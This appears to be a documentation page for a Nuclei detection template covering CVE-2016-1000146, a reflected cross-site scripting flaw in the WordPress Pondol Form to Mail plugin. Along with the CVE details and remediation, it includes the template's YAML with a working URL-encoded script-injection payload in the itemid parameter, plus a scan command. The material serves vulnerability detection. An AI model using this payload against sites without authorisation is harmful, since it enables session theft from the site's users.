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WordPress Pondol Form to Mail <=1.1 - Cross-Site Scripting

ID: CVE-2016-1000146

Severity: medium

Author: daffainfo

Tags: cve2016,cve,wordpress,xss,wp-plugin,mail,pondol-formmail_project

Description

Section titled “Description”

WordPress Pondol Form to Mail 1.1 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2016-1000146


info:
  name: WordPress Pondol Form to Mail <=1.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Pondol Form to Mail 1.1 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update to the latest version of the Pondol Form to Mail plugin (>=1.2) or apply a patch provided by the vendor to fix the XSS vulnerability.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=787
    - https://wordpress.org/plugins/pondol-formmail
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000146
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000146
    cwe-id: CWE-79
    epss-score: 0.00119
    epss-percentile: 0.45775
    cpe: cpe:2.3:a:pondol-formmail_project:pondol-formmail:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "pondol-formmail_project"
    product: "pondol-formmail"
    framework: wordpress
  tags: cve2016,cve,wordpress,xss,wp-plugin,mail,pondol-formmail_project
flow: http(1) && http(2)


http:
  - method: GET
    path:
      - "{{BaseURL}}"


    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/pondol-formmail/'


  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/pondol-formmail/pages/admin-mail-info.php?itemid=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2016/CVE-2016-1000146.yaml"

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